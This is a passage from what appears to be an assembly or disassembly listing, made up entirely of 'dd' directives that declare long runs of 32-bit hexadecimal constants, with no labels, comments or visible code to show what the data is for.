		dd 6E447FB4h, 7E16173Eh, 7B30498Dh, 84A8F4E9h, 4D814A98h
		dd 4E26B4C0h, 0B75E26FDh, 467EC5F8h, 695427E4h,	10181548h
		dd 12779417h, 32BF4049h, 17106880h, 5480BF23h, 0F2C04E1Fh
		dd 7C441E5Fh, 30802244h, 494D933Ch, 110454FDh, 0C0F84075h
		dd 1AA2B434h, 364B150Bh, 40E06A25h, 12E86F0h, 0E9FD622h
		dd 94CC4175h, 0DC9570h,	7089CA5Fh, 26A0EDAFh, 2717782h
		dd 9309B0EEh, 4C11B082h, 0C1FDD403h, 9820D33Dh,	4ABE4023h
		dd 38E22113h, 26344448h, 0A7750444h, 0CC491A3h,	65EBF41Fh
		dd 13C0E818h, 786DF2C8h, 8CA054ADh, 0FCE19795h,	1443C3Dh
		dd 69659766h, 209DDE07h, 50E21875h, 0BD502CB7h,	10076DA0h
		dd 0EA49E9B9h, 0C4F443C9h, 6A752C91h, 0C8F1F5FDh, 74B04F2Eh
		dd 0A4017E8Fh, 0E0E5DE29h, 0DC9296E8h, 226C6304h, 80FAA3CFh
		dd 0B0CDB140h, 0E990EDEAh, 0F00CFC00h, 5A448E36h, 0ACC70095h
		dd 46F9C017h, 0E83B6C29h, 3988D57Ah, 66AA2508h,	0A8498CCh
		dd 715D9E37h, 7C3C62F8h, 888BA04h, 0D7211056h, 0EB0F7D47h
		dd 0FF07F155h, 7882BD07h, 3C5F7901h, 7E3D430h, 2EE55430h
		dd 76AE4004h, 0AA67752Ch, 6BE066D0h, 1FC68281h,	165E9E29h
		dd 14B005C7h, 1CE5057Ah, 0AF8CD0EBh, 212747F1h,	990080D2h
		dd 5F257512h, 227C575Ch, 0FCA4E02Ch, 61C09362h,	71A136D9h
		dd 1187254h, 81A34491h,	9420EFFDh, 600C9C15h, 7828E89Dh
		dd 0E8CBC14Ah, 0D64D6C00h, 7516E3A4h, 3AF42058h, 71E98090h
		dd 9BAFB4B9h, 9A3900E1h, 0DDFCB095h, 800049F5h,	4A7FAAE4h
		dd 5DE8A8D4h, 4E0B50E7h, 74C4A31Bh, 9E5B3884h, 0A67E681Dh
		dd 9547B092h, 0D098B8C4h, 1B300096h, 7507AEB4h,	89B519Bh
		dd 0E8FEC801h, 0AC60954Fh, 0EF90A8E3h, 5C9895D6h, 6988E69Bh
		dd 6B400399h, 76371729h, 58CB6827h, 52C933BCh, 9825CA08h
		dd 82EC389Fh, 0B4267CADh, 75188224h, 0BD00AA34h, 1E694A83h
		dd 0DAE85873h, 8E070C6h, 65B4728h, 36B9F805h, 0D49650C1h
		dd 81303897h, 286C2294h, 91BC00A0h, 0C19964EEh,	42240074h
		dd 9ECD93EBh, 1800ECB0h, 0A9DCEDF0h, 2D663FBEh,	5C828B67h
		dd 0A340BD2Dh, 30B4CB9Dh, 20AC6F80h, 1A456DFFh,	116EE72Eh
		dd 8006D086h, 0C06040B6h, 28172AD0h, 94FC0BE9h,	80A5115Ch
		dd 0D5F76EF5h, 25E7EA05h, 24C4B90Fh, 0D1485402h, 70A2928Bh
		dd 76E920C8h, 55C87850h, 60E57525h, 95AD801Ch, 7D477090h
		dd 0A7E5ED81h, 56DEB941h, 99440C2Fh, 0EA052E11h, 2CFC32Ah
		dd 16D80C0h, 0B8C705CBh, 8120F38Fh, 0C493A818h,	690F4CA3h
		dd 80ED0213h, 0C3E46579h, 1A4F298h, 54DBFDE0h, 81EE4F21h
		dd 3DBE50F8h, 80652E17h, 2D58E830h, 5C8BEB21h, 7F092066h
		dd 0E83528D0h, 49467594h, 0F005708Ch, 0E17E6h, 0A815994h
		dd 9D0AA50Fh, 0D863515Bh, 49F76F02h, 0DF1CC33Dh, 644539CDh
		dd 0C800DC87h, 2C3D1CFh, 0F13F80BEh, 9060EDE4h,	0CB0964C9h
		dd 0A03AAD16h, 259E1058h, 0DFC1583Ch, 0DA885C00h, 8292E722h
		dd 0C8ACA09Ch, 0BE108931h, 0BF9730h, 1216A3Dh, 5AE95171h
		dd 34E72D2Eh, 0F80461Ch, 163F8D1Ch, 68246021h, 0F3547514h
		dd 713970B0h, 0AE5F0B67h, 0E8689089h, 0DCB15DCDh, 2510E459h
		dd 464527BFh, 60A0988Ch, 0CA6018E0h, 1780CF36h,	203960F7h
		dd 3B216318h, 9A184664h, 0AB05C8BCh, 0C1DB491Dh, 28D4D8A8h
		dd 0F3B181F4h, 1EFF021h, 0A6AF3130h, 0FB7EAD85h, 0B07663FAh
		dd 15767540h, 0C510C0F5h, 9D47EE12h, 470A8A2h, 0C7214B0Bh
		dd 84A024D7h, 453544C1h, 3059E062h, 1EFA4B02h, 0A2003058h
		dd 80B4BA69h, 0EC4BB875h, 7FEAACC0h, 0EECF00C9h, 12A9F674h
		dd 62EEDC91h, 0F8017690h, 21F72470h, 70BCF485h,	9AEB690Dh
		dd 138443D9h, 0D1B48894h, 900DAE30h, 4C31E898h,	0E18060E3h
		dd 0AE5E15B7h, 0EC750609h, 0BEE414D7h, 0AC6A5890h, 549D8B26h
		dd 0C9FAE60Fh, 28F8008Eh, 501EE72Fh, 0EA34E2A8h, 7F5F3008h
		dd 9E671248h, 948078B8h, 53804E75h, 0DA840F38h,	0CA270E46h
		dd 28680DEAh, 35AB1200h, 1B2628B2h, 7ECE88C0h, 0F4910Fh
		dd 0A9E68FD5h, 9B140046h, 2A9A8E52h, 0AB18123Eh, 2220909Ch
		dd 0C0FA49E2h, 0BF2B9807h, 957B0055h, 3D0CF6A0h, 20EAB222h
		dd 98009032h, 537D5A88h, 5DC4A018h, 0FD2B8B0Bh,	4F10D8FFh
		dd 45C8121Bh, 8DBD2FF0h, 80E83C34h, 93FBB79Ch, 56280055h
		dd 8B480C5Ah, 3001B2C4h, 0E7EF9F86h, 0D08BCEC8h, 3494A944h
		dd 4B008177h, 79B98DB5h, 98D5D797h, 0ECA25830h,	3F5ABE10h
		dd 2C9DFA2Ah, 0A66F48B0h, 24AC22E0h, 0A65024BCh, 0CA642CE8h
		dd 0D9046F30h, 20109088h, 7A0F65E6h, 520C9807h,	140368F2h
		dd 3CC07513h, 0D87C1028h, 0E6702080h, 17B95680h, 26922DC0h
		dd 591229F4h, 0D0465721h, 61203537h, 82220834h,	401881EFh
		dd 0E5076DBFh, 69747030h, 0FC886947h, 2F80C9B0h, 57ECAAC1h
		dd 10DA8B05h, 0E0F8F6E7h, 4DD71504h, 0C414C30Dh, 0BE3840B5h
		dd 87711182h, 1CE8450Ah, 58FC0FDh, 24596063h, 6CE91ABh
		dd 14E726AAh, 2E9520E4h, 3BDF282Ch, 6BF2C320h, 0A826A670h
		dd 5913ACBAh, 4E4840A0h, 0CAD8811Ch, 0D21C3017h, 0E8CD3431h
		dd 0AF005E24h, 19009199h, 0E550A63Ah, 0AF643A3h, 7ACA172Dh
		dd 6D1602E0h, 24663446h, 3CA14CA4h, 10E8738Ah, 94557AC6h
		dd 75A07C2Ch, 4B5B07Bh,	0E4C02270h, 789C44E4h, 0ED1F0D86h
		dd 91AC5h, 0D7E9C8A9h
		dd 7CFF1600h, 6BE3B475h, 0C9891E74h, 5100FC3Eh,	0F534B12Eh
		dd 3103BAA5h, 75A4B3FEh, 0C02DA3FAh, 1926A63Dh,	104B181Ch
		dd 0D369E098h, 207729C0h, 1E4FBC92h, 0CF8EB0ADh, 3967748Bh
		dd 91600F5h, 0DE039C7Dh, 0A4E064EDh, 97269822h,	0A1E5008Ah
		dd 0B3F3312Ch, 4700D558h, 3AB641C7h, 0A11DA4BFh, 18864540h
		dd 10C0921Ch, 0C9A6930Ch, 0CA58089h, 6998E57Eh,	243016B8h
		dd 0DB828008h, 1FD9754Eh, 8A0A466Ch, 3907DEBh, 0A40E61E4h
		dd 32C007E8h, 8D0D347Dh, 70F18E1Bh, 0BBB22540h,	0E7473719h
		dd 413A3478h, 7B35E440h, 898D9083h, 0ABD0EC0Eh,	0BC03ACD8h
		dd 5C1C1601h, 34481EC4h, 99740004h, 0FBA8F542h,	143E9500h
		dd 5EB8BC1Ah, 25B301Ch,	0F5AC9158h, 0ED60BEF0h,	49469210h
		dd 1E51BD5h, 4C0D857h, 0BF6F3DB3h, 520A1220h, 52008054h
		dd 51EEDAE5h, 0EFAF33D5h, 0B83E1098h, 1CC5944Dh, 1B3D01B0h
		dd 30A6C603h, 0C050F7D4h, 0D8788F48h, 0E51222A1h, 5A0C0C54h
		dd 74716045h, 26248021h, 0BC099402h, 82797D17h,	911FA40Ch
		dd 798E7BD0h, 9982F745h, 0DCACE20Dh, 0B2007088h, 90981814h
		dd 0B03675h, 73A42153h,	0FF8EB36Eh, 0BAAD7D02h,	8A5B6671h
		dd 3E0930E0h, 24414C3h,	1C28A77Fh, 0FD005F04h, 95CDB995h
		dd 356F94D0h, 0E5838130h, 0F88314CFh, 252C1C10h, 3DD41809h
		dd 0BF3425B4h, 0C499EC04h, 0B911430Ch, 5C7E5E40h, 3B07759Ch
		dd 816E1E33h, 20D997ACh, 0BB44FA90h, 7DA769Dh, 0F8753776h
		dd 0F310FD5Ch, 0C0C24A5h, 0BC80DBF3h, 31480D02h, 937F7DD5h
		dd 4B69B0A4h, 0D4953EDFh, 0B2D87E00h, 441CDAF4h, 8F387160h
		dd 248A8CFDh, 43003188h, 7BE21EBEh, 0A28DB880h,	9754572h
		dd 9E60A61Bh, 0BC4BA058h, 849601D4h, 94667635h,	1CA4F488h
		dd 0DACB1300h, 0A395EBACh, 3B901274h, 0F103067Ah, 11006094h
		dd 0DFAAB472h, 15039904h, 0B435BAE1h, 1C1DE8C3h, 0A697DFB0h
		dd 18E34E32h, 0C1EE6372h, 1085DB5Dh, 58C27B85h,	7AEF5080h
		dd 378EA207h, 0D00C171Ch, 0D5030096h, 865889EAh, 0E20F0E2Ah
		dd 0E3DE81E9h, 7D6C081Ch, 80375340h, 148D0F12h,	40DE5460h
		dd 8341D747h, 0A3249D45h, 0E5411C73h, 0A4247252h, 8440F403h
		dd 381B3E18h, 0CCABAD1h, 0D50B1CDFh, 45008110h,	0DA6F7693h
		dd 0E4890D29h, 0B47E0799h, 0D4FAE4h, 0CC01A6A0h, 0BC7640C0h
		dd 0A4E63E1Bh, 0D81C1890h, 8BEB6820h, 99CA558h,	82215FA6h
		dd 0A276A378h, 2ABF1C50h, 7DBC3910h, 2077A898h,	0DF24D2BEh
		dd 160084A2h, 0C6932944h, 7AC213EDh, 0B4D8424Ah, 0E343D995h
		dd 6084D5A4h, 0ED69C39Ch, 3CAA3203h, 14DFEB1Ch,	88909218h
		dd 34E81B08h, 0E3BE9700h, 1D1D40B4h, 41BFD34Fh,	66E53819h
		dd 0E39852BCh, 0E8B47081h, 104832BAh, 7806E07Dh, 18A3D61Ch
		dd 0C81CB4A2h, 28A57F12h, 0C155D40Ch, 0F53B0172h, 11CDBA1h
		dd 4228805Ch, 3C89DFFAh, 0A8C40C3Eh, 991847D2h,	9C0D3F2Ah
		dd 0A45C5F20h, 0EC4490ECh, 10F0A43Ah, 24E2B91Bh, 460F60BCh
		dd 2C4E460Dh, 48A57120h, 841C2C8Fh, 3EB04367h, 0F7E095FAh
		dd 171F2A60h, 0E5C4027Eh, 0C4CE2D59h, 331C3E12h, 0B01DC220h
		dd 0EE12B2BCh, 37330431h, 9C9E4500h, 88D07F24h,	8DD420C0h
		dd 4B40073h, 81F6400Bh,	2B00173Eh, 878F90D3h, 67CA334h
		dd 51A684B4h, 8C065840h, 3AC2E588h, 0BC172688h,	986C0A84h
		dd 916708ACh, 4550E022h, 2D00998Ch, 94975DC6h, 80AC16A6h
		dd 0E5181FA5h, 74303944h, 3CFC723Bh, 8580EACAh,	0F7E4387Ch
		dd 9582413h, 0F9BF3048h, 5B3171Bh, 9E1C80F5h, 8DC844D3h
		dd 71BCC007h, 7A7B9578h, 0F11C761Ch, 207820B6h,	160B3680h
		dd 0A87D05h, 5BAC305Dh,	4097010Bh, 35E532E3h, 3C6892B9h
		dd 0EE928802h, 3A3840E2h, 6C1B0474h, 0F0D4A6h, 0C45227A4h
		dd 0E5980CF7h, 1238CAE1h, 6A327400h, 1B1C21DFh,	7D80C03Ch
		dd 0FD400685h, 82A4C73Dh, 0B4AC8944h, 3CB060A5h, 137CF8h
		dd 88F04F23h, 0A398EB87h, 5B541B01h, 8CADAF12h,	0A1915ADCh
		dd 4C748DE0h, 58ECB085h, 8CC040E4h, 69DC5571h, 0AA01FFA0h
		dd 0BDF418C0h, 241B0C3Ch, 85900B73h, 958141DFh,	141C206Ch
		dd 8E02CFB0h, 48C4EBB4h, 7A0E7F0Bh, 0F5C2EA0h, 0E8A07D89h
		dd 0CB3CBC83h, 0A6107965h, 8712B4C2h, 81AC0890h, 2C04BE17h
		dd 7E00D7C7h, 20B15DADh, 1B1CD575h, 0CDC03359h,	0C5B983AEh
		dd 0F0404CDAh, 19104049h, 2CBC3B96h, 0E600540Ah, 86C890E3h
		dd 230226A6h, 16282664h, 656C38A2h, 0BAA67B0Ch,	158A10A9h
		dd 7CFB481Ch, 53BB2478h, 13DCA48Ch, 99E04385h, 194C048Ch
		dd 0A1AC4870h, 84733BB4h, 0F9419619h, 851830BEh, 0B9B82433h
		dd 1830C7A2h, 301C038Bh, 97185DB1h, 8E741991h, 4D21661Eh
		dd 0D5A0542Eh, 0CFA1C164h, 59559004h, 6084B6B0h, 0C8B2BE21h
		dd 1C180EC8h, 0B658DEB7h, 0A6BF243Fh, 57B039C4h, 39B475B1h
		dd 6C10BD42h, 8C8B04B9h, 5081A53Dh, 96004320h, 921E18BEh
		dd 0B500A27Fh, 3DBCBAE2h, 0F5763BDAh, 43CEFB9Dh, 46FFE072h
		dd 35AC7DB0h, 69C0894Ah, 0DD1B7A1Ch, 66E29F48h,	0D5398158h
		dd 2019E6E5h, 10C947CCh, 0D438087Dh, 0DAC0BC9Fh, 871C8F0Fh
		dd 0E29492B7h, 0DCA2071Ah, 8373242Ch, 110919A5h, 98368175h
		dd 9A18E380h, 40340404h, 802F1DA6h, 1F74610Ch, 6E1CBF0Ah
		dd 0CCA49085h, 0E5764405h, 5CC80584h, 19510BCDh, 0C000068Ch
		dd 0A0241CC9h, 808560C9h, 8F81CCB0h, 43406B5h, 0B9B189A6h
		dd 0C8C1602h, 48C0E01Ch, 256EB0Ch, 0BE37190Eh, 84439115h
		dd 436F01F4h, 0EAFA1DD9h, 33748364h, 60C18C7Eh,	0F9BB39ADh
		dd 0CC9E60C8h, 7599C16h, 0BA9AD800h, 361A7EAEh,	0DB0007Dh
		dd 0A403EAD2h, 0EC00A11Eh, 3E879DB7h, 0B2021Ah,	15E4F6ADh
		dd 0E57F2418h, 2CFDF20h, 6255EE0Ch, 65604F59h, 2A00A4C0h
		dd 5EFF1179h, 12B9B5FDh, 0ADAEDh, 616B8E5Ch, 0C20E0FA0h
		dd 81FA19E4h, 0DECBA243h, 0E23400E3h, 1F23F593h, 0D4604D1Ch
		dd 3639B1B0h, 4719165Dh, 0B38871C7h, 789424E3h,	0A619BC06h
		dd 4188AD9h, 0B7E50B5Ch, 45148129h, 611C2051h, 0F0387062h
		dd 0E01A6221h, 94378D94h, 0C9BA62C8h, 14B19804h, 0E8D019BAh
		dd 814D00EBh, 20748324h, 1B05E4C0h, 0BAB3A6C6h,	0E013E457h
		dd 0E0185417h, 540F1C39h, 5E5C052h, 8E2FF011h, 3B4C010h
		dd 0BD482A46h, 0C820D0C4h, 65E108D2h, 0A60EB901h, 4C20258Fh
		dd 3F7890BBh, 3C260746h, 0F8E46724h, 0F911F400h, 3833067Dh
		dd 8980E616h, 0B48DB8ADh, 0E41FF53Fh, 0E1E62A3h, 0BA0B8B45h
		dd 0BFA6D804h, 0C8747C97h, 34355F80h, 8A131DF4h, 5C11A584h
		dd 14E2CAFFh, 8C0FD0CCh, 0FD598B4h, 5007F211h, 0EB804148h
		dd 53BF9CA5h, 7D028C72h, 3D1E54Dh, 0B013D487h, 15DE942Ah
		dd 2C1888A2h, 84C17DC5h, 9840A690h, 3271E08Bh, 491C3C81h
		dd 3FB0506Ch, 0D5FC4ECEh, 0B020A890h, 209A49EEh, 158A8300h
		dd 46FA1DA2h, 45D56902h, 517AA39Ch, 60A81E60h, 96208890h
		dd 0C4BA509Fh, 4CF2F289h, 8AC1A4E6h, 804BF4E5h,	0EE107830h
		dd 5D1CEB0Fh, 90258C3Fh, 9C8DC881h, 8B583048h, 0E0884494h
		dd 16170721h, 64BB8313h, 2840104Dh, 1B71EC8Ch, 2AF32340h
		dd 8B841EAh, 20E41C73h,	237E7F00h, 272AF384h, 3C9A3541h
		dd 909CC030h, 0A652D0EBh, 20148824h, 37F58A8h, 0C9D68500h
		dd 17893894h, 454E0168h
		dd 16DC7580h, 9A8BFC18h, 8000DCABh, 8C9BF2ECh, 4E581C4Ah
		dd 0A8C040CBh, 3CDC02D2h, 0A6971005h, 6CD7A2B5h, 9D324DE0h
		dd 0B2FD0AD6h, 20820A3h, 0AFE7A693h, 3CAC9073h,	95374400h
		dd 799761Bh, 0B2E6F1BCh, 0D3CB8293h, 7100F866h,	0CFC6CC29h
		dd 0C5E7731Ch, 0AD8F40h, 0B3FDCF6h, 0AE193287h,	0A5F91CA6h
		dd 12177420h, 807BE82Eh, 0F01B96B8h, 1098EC4Dh,	0F100A073h
		dd 0F9826DA9h, 0E84846BEh, 503328E5h, 0D0D22F0Fh, 731E66CAh
		dd 0A8690030h, 0A5F7E1D3h, 342C757Dh, 0DB012C18h, 8E677FDEh
		dd 8323E1CFh, 4C98D848h, 24594844h, 0E82F9727h,	1C281668h
		dd 0FF6620C2h, 584C65Ch, 0D91C168Ah, 8D04D1E0h,	1EA9E057h
		dd 652CB478h, 503265DDh, 0A4A502D7h, 77C0100Ah,	4A3E9485h
		dd 9FF021E7h, 1B890053h, 20DA4B24h, 345F6B38h, 76D2F60Eh
		dd 66B7A787h, 1646BF50h, 0ABFD0192h, 2505E88Dh,	14E5C4F0h
		dd 395C2E48h, 6B701ACh,	0E7B402EFh, 0B0762DFCh,	89530057h
		dd 0F9D30D9Ch, 1B1890A6h, 8D8895B5h, 245CB87Bh,	8F0DABEh
		dd 3416B0F8h, 14C01613h, 0C03B86A6h, 0C185EEA0h, 0E3FEA95Bh
		dd 6028114Eh, 14BAF8B6h, 901F3A1Ch, 93393C7Ah, 0BDF7028Fh
		dd 12E58F81h, 9DB044A4h, 5180BEC0h, 10B02380h, 8925CF62h
		dd 99737C80h, 7614181Ah, 0D32098ABh, 34D55000h,	7333E562h
		dd 6B903486h, 3DE0C348h, 2409C812h, 0E2EB4C07h,	0DC66C8C0h
		dd 85160904h, 44DFA5h, 0CF697D00h, 45F9360Ch, 8A75007Ah
		dd 1262E333h, 16033EA9h, 0B061B5D5h, 4C23D8B4h,	0A6AD0C22h
		dd 9090BF4Bh, 1814DC3Ch, 24108E33h, 8FD8C9A5h, 1C8CA4A0h
		dd 0E8DFA928h, 0E8837B5Dh, 7F8344D1h, 6A943421h, 0BC448890h
		dd 2AA6200Ch, 0A243C015h, 0E5448294h, 44E70113h, 0A995ECE4h
		dd 9A895400h, 9EAFDAC2h, 60CA00F9h, 5876FAD8h, 0FF038EE8h
		dd 0BDA1A038h, 0DE88F8F5h, 50895CE2h, 413B851Eh, 970FBCBFh
		dd 203821BEh, 98022BCh,	8AB72C1Ch, 263C8000h, 0BE8F8973h
		dd 8492122Eh, 176881CBh, 0F8336E72h, 7E49B430h,	7D003503h
		dd 55EDB8A5h, 605C1CFFh, 0AE5D2888h, 572C9C8Bh,	726060FDh
		dd 1102984h, 0A4AEE7D6h, 9376AD1Bh, 0A096E620h,	59D70028h
		dd 0E16F797Eh, 309647EEh, 1CBC77E1h, 0B44CC426h, 0B28B0C04h
		dd 0B4A080D8h, 11CC173Dh, 4C999AE6h, 28971048h,	0BA81ED84h
		dd 0B0845AD2h, 40309EC0h, 493FE57Ah, 109838B2h,	0A26589F0h
		dd 0B0C81B10h, 0D340A8Ch, 9CF8243Bh, 61665785h,	0D0C84Ch
		dd 0BBF1135h, 182BDD86h, 0E83EC8A2h, 0E1087459h, 59F08BBAh
		dd 41E7C080h, 94A6A2E6h, 0F4B2D300h, 1F617D80h,	16D8040Eh
		dd 0C12AB8E5h, 32593B24h, 191C1C94h, 8C0780ABh,	0BC38AC1Bh
		dd 0D021F865h, 0E2B47D44h, 4C7840A2h, 74A63800h, 1C0DFFEAh
		dd 6C9449A7h, 0FB55F850h, 40F49460h, 23269C10h,	99E90CBh
		dd 0BE931EE0h, 0F53C0CE2h, 0FF4C7D10h, 152600E8h, 1693C57Ah
		dd 347448A4h, 9BA68982h, 838B74C8h, 0E0C52C3Fh,	3AD4D508h
		dd 29A60B7Eh, 3F00EDDCh, 0F4BEF763h, 1998973Eh,	90881AD1h
		dd 0EC2C9DF9h, 1BB0A502h, 54664C73h, 588EA244h,	8200C887h
		dd 62C7583Ch, 0AC30172Ah, 0CA608F1h, 7488C04Ah,	0FC33C864h
		dd 8DEC7B07h, 0B1131CA4h, 0CB1D90FBh, 0D62412ADh, 0DE38063Bh
		dd 0A600E9F2h, 0E1AFD734h, 1FA324A4h, 791FC0Fh,	0A9E558AEh
		dd 0E3190C02h, 0A22A6D03h, 0A887C087h, 13C92E94h, 4EC30890h
		dd 0BF3DB603h, 54C99DA6h, 0E38B7464h, 271CABEFh, 809073F8h
		dd 3580DB4Ah, 506E00CAh, 39047EB8h, 253E9E3Dh, 9F74BF88h
		dd 2004D581h, 4481B93Ah, 24E477A3h, 0F5391FB4h,	0E6970983h
		dd 27B8FC8Ch, 0A8A1D37Dh, 0BBA064D4h, 0C428194Ah, 0D0772685h
		dd 4126FC8h, 828D3619h,	0F30216C8h, 0EC13E1F0h,	1FBB2896h
		dd 0F40DCC00h, 7D00F610h, 28A54ADh, 0FE23A4DAh,	0F8660B58h
		dd 70E19AE5h, 0FE7FF013h, 0F21EFD71h, 178094EBh, 7425A13Dh
		dd 0A4BC00E4h, 0D4CDCE27h, 0A23C7D2Dh, 9ED3B9FFh, 7A1C2824h
		dd 0D48F1130h, 480495E6h, 0C42CB291h, 8C106F2Fh, 901EF87Dh
		dd 0B9B22744h, 978474A2h, 53D07D07h, 76FBC58Bh,	0FE24BA54h
		dd 0B474938Ah, 0CB88D28h, 952CE5ECh, 0E05AB033h, 26770428h
		dd 2749EDAh, 82C89251h,	0B07DECA7h, 0CCDFA372h,	0D8031628h
		dd 32B7B000h, 958F738Eh, 402F48EEh, 0F884790Fh,	17F40F20h
		dd 0A3248CEBh, 0C70A0127h, 1030A4E7h, 0EC051EAAh, 611BFEFDh
		dd 1534B928h, 54042A48h, 4E124273h, 9768669Ch, 0D5514600h
		dd 321B9945h, 8A38BF5Ah, 9344E4E4h, 3C192C92h, 17614284h
		dd 884E284Ah, 0ACA8BDFAh, 4066DE66h, 2A805961h,	3E388311h
		dd 10529166h, 25436110h, 7864AD0Bh, 0A85DBFF0h,	3E737F5Ch
		dd 793D8123h, 692CF4CDh, 144E23Ch, 0E51AB844h, 681846CCh
		dd 0AC7DB0h, 356BD499h,	0CEEA8A72h, 83018438h, 793286BBh
		dd 2021D155h, 0C8821486h, 34EE0A05h, 32253D1Bh,	5D0D0106h
		dd 1AEAC10Ah, 0AD228170h, 0ED82D931h, 158A1A40h, 54520125h
		dd 0DE89A8B4h, 5AEFCC5Ch, 604CEA3Ch, 7AF6BE24h,	27F1F38h
		dd 77190CE9h, 2E3B5918h, 1C049E64h, 1698D0CCh, 678B00B9h
		dd 0A2366BBDh, 2C078955h, 0DD2B620Eh, 0C2D9F8C0h, 410800E1h
		dd 0D1BEB82Eh, 0C60E2296h, 7EE8459h, 6C74824Eh,	2E4DCC0h
		dd 2D8C16ECh, 8707FF25h, 192E91EAh, 60EC3502h, 814CF982h
		dd 199C830Dh, 0C8E38C06h, 0C0FC6CEAh, 54DEF834h, 5C409569h
		dd 0C094A38Ah, 3FDD0623h, 121B6003h, 62031D7Ah,	440DD2BFh
		dd 5FF4C02Fh, 60FC0032h, 1D8CDE0Ah, 0E8F85825h,	684C4ACh
		dd 8B04EA10h, 5D2E8833h, 81BBEEF8h, 227E2E0Fh, 0EA5E6170h
		dd 0A080DB58h, 0CA232469h, 547C6008h, 55421130h, 6FFFEF6h
		dd 8A57EC70h, 5E7D8FEFh, 97E8AAF2h, 0D4026800h,	0C9FC058h
		dd 6387E60h, 7723F9F0h,	4069622h, 252AE76h, 0AEE3FFC4h
		dd 0A85C54A9h, 0D5EA105Bh, 6967183Ah, 0FA058108h, 22296E41h
		dd 5D51C7F4h, 0E78C0EB0h, 0BF89EAh, 0C4824446h,	873A18D0h
		dd 0B0EC0E3Eh, 640C7773h, 885CE02Ah, 4E553FF2h,	905EEA8Dh
		dd 0AE40EA38h, 0AB727E3Bh, 930E326Ch, 0F37ED18Ch, 6555685h
		dd 109DFE9Ah, 8CD80212h, 8A516401h, 154406E1h, 4688054Ch
		dd 4E69105Dh, 0C88A336Bh, 59CDC853h, 5B361E7Fh,	0FBB1D54h
		dd 0EA4ED507h, 89CBE32Ah, 0A3057B2h, 0F90058EEh, 5FF30216h
		dd 0A8180B69h, 802F61F8h, 0ECE4DE31h, 0A4D6F73Dh, 5A8003A7h
		dd 0DFEF815Ch, 66BA9067h, 1C32640Ch, 98EDD13Bh,	8C74DA8Eh
		dd 3C7CA60Dh, 0D4F74D02h, 57E03C1Ah, 75405CEAh,	8A0BA8BCh
		dd 29F8E4DFh, 8329358Ch, 5E60695Ch, 6717BB10h, 307B1142h
		dd 0C61728BAh, 79046236h, 7EEC20Eh, 38EAA680h, 0C821C01Ch
		dd 46753710h, 9BD82A3Eh, 0B91A1423h, 0C8E05FF2h, 3210D46Dh
		dd 36290D1Ah, 71F6464Ch, 0F6FCF86Ah, 168D0EA1h,	0E9480A30h
		dd 52D940BFh, 8A288465h, 4EB1F100h, 3D0174B6h, 1CCC8CC6h
		dd 8F02D8DDh, 0C9EC60F9h, 0E2695726h, 41D6131h,	1C8D6702h
		dd 819A0457h, 81E953B9h, 48F5F70h, 9FCB8B24h, 0F7F468A2h
		dd 43B72443h, 0A06D9F6h, 7E1C07Ah, 28F7000Ch, 1C8B59C8h
		dd 0C43D8324h, 0E3E0BC04h, 0D8148950h, 0E7B951h, 813D4B44h
		dd 0AC2AC1C9h, 0E1D1330Eh, 29031868h, 5924060Ch, 3F4F3FE9h
		dd 2D075DECh, 628F1D35h
		dd 0CF8DCD3h, 4C18190h,	0CCD8339h, 40423E87h, 890D86ECh
		dd 0F8B03ECCh, 5166BE81h, 9D8D3BE9h, 7D8C5A1Ch,	0F8580C73h
		dd 886341D5h, 8A02C642h, 18843487h, 30AC93CBh, 8668D80Dh
		dd 76BC635Ch, 1055BE18h, 816E05E9h, 98F3600Ah, 32660343h
		dd 9944DF01h, 0D0215B00h, 568DA08Bh, 725E6854h,	0E90CB067h
		dd 10C080AEh, 0E250C0B8h, 16351618h, 1C50012h, 9C3AE9C7h
		dd 4AF22D0h, 59342A6Eh,	0A10436C4h, 50E65C6h, 0B4DA2301h
		dd 8058E929h, 445A0C6Ah, 80EC8326h, 60823934h, 5181E567h
		dd 6EF846C5h, 0BE0ACA3Ah, 0F201040Ah, 4125C45Eh, 875BDA09h
		dd 1C2214h, 515D5455h, 0AA441C68h, 0BEA40094h, 841EA7h
		dd 0C7EE8139h, 5230ADAEh, 0E915F2FEh, 39D7206h,	0F34EC5C3h
		dd 930DD913h, 0AC5CC54Ch, 565005FDh, 3384F6E9h,	69D8B8F7h
		dd 21FA1248h, 531A1D67h, 8358E3E6h, 84EBB21Dh, 5D818706h
		dd 0B9539BE9h, 71C44289h, 7EB0307Eh, 59CE280Ah,	15EB801Eh
		dd 5EB39AD8h, 0BD9ED0FFh, 0FCF5C51Dh, 324683Ch,	83A66F82h
		dd 10CF7123h, 531A3E5Ch, 0F8B79012h, 0FF4FA118h, 0D91EE643h
		dd 17805592h, 6817DFC2h, 3E65E2Eh, 0C0421148h, 925B4DB9h
		dd 0D6494840h, 0EF1D2030h, 0DF3AF75Dh, 0C5D4E0D1h, 486B3F23h
		dd 4E00514Bh, 0E933916Ch, 32C00E0Fh, 6AF5BE56h,	89320058h
		dd 0F7405EF0h, 90C05D8h, 0E1F1670h, 6E804C1h, 9267B5E9h
		dd 0A702C25Bh, 0B0500033h, 78033499h, 1D0CD0F6h, 43204C0h
		dd 81C28805h, 27F7AB9h,	0F4B744BAh, 0A616051h, 8106EFC1h
		dd 71DDE707h, 95E344FBh, 0E1D53B3Dh, 453FFE92h,	115AD33Fh
		dd 5CC1E8EEh, 0D674FF55h, 0E42C52E1h, 0E9A6C481h, 3E159020h
		dd 0ED8E6659h, 29A6165Ah, 0C54110F5h, 455EEB12h, 0C839820h
		dd 0E75556E9h, 8819F9F7h, 1E80065Bh, 4A52C157h,	805F26B1h
		dd 814703D2h, 62C0DF7h,	1DE92906h, 3C48D597h, 57FD1001h
		dd 25048B13h, 0E2900AA7h, 283F20FFh, 306BD55h, 0E95DEA29h
		dd 106D86B3h, 96BDEEBEh, 0AF066FAh, 334DCA31h, 94841067h
		dd 0CCF8812h, 68BDFB5Ah, 486BC729h, 837E40Ah, 22D5BF82h
		dd 44FD8380h, 545A7DF9h, 0AC5A94D6h, 0C15677B1h, 0A0163BC4h
		dd 2D694850h, 8340BA9h,	20473589h, 3610064Dh, 0BE857C90h
		dd 7DA4A43Eh, 8E5C185h,	3B57DF01h, 0DD406C27h, 0D7425Bh
		dd 5DEE01FDh, 5AECE955h, 804730C9h, 64ECC96h, 0FE09601Bh
		dd 1C4CC781h, 0D215DE28h, 0B0470728h, 6B4FE80Ch, 0C2026427h
		dd 0E745F958h, 0E01D2C60h, 0C70B43B2h, 7AC385Bh, 548EEFFEh
